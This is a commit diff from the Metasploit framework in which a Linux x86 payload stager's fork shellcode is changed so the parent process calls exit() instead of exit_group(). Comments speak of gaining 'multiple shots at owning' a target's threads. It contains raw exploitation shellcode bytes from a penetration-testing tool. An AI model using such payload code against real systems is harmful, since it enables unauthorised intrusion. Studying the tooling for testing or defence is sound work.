Use exit() instead of exit_group()

git-svn-id: file:///home/svn/framework3/trunk@10483 4d416f70-5f16-0410-b530-b9f4589650da
unstable
pks 2010-09-26 05:58:41 +00:00
parent e646176db7
commit 1392ef78d7
1 changed files with 11 additions and 2 deletions

View File

@ -76,9 +76,18 @@ module Metasploit3
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
if(datastore['PrependFork']) if(datastore['PrependFork'])
# fork() / parent does exit_group() (for threads) # fork() / parent does exit()
# If the target process is threaded, this means the thread
# will exit. exit_group() will try to close the process down
# completely.. and if we do that, it may not be reaped
# correctly.
#
# Plus, depending on the vuln, we might get multiple shots at
# owning a finite amount of threads.
midstager << midstager <<
"\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\xfc\xcd\x80" "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80"
end end
midstager << midstager <<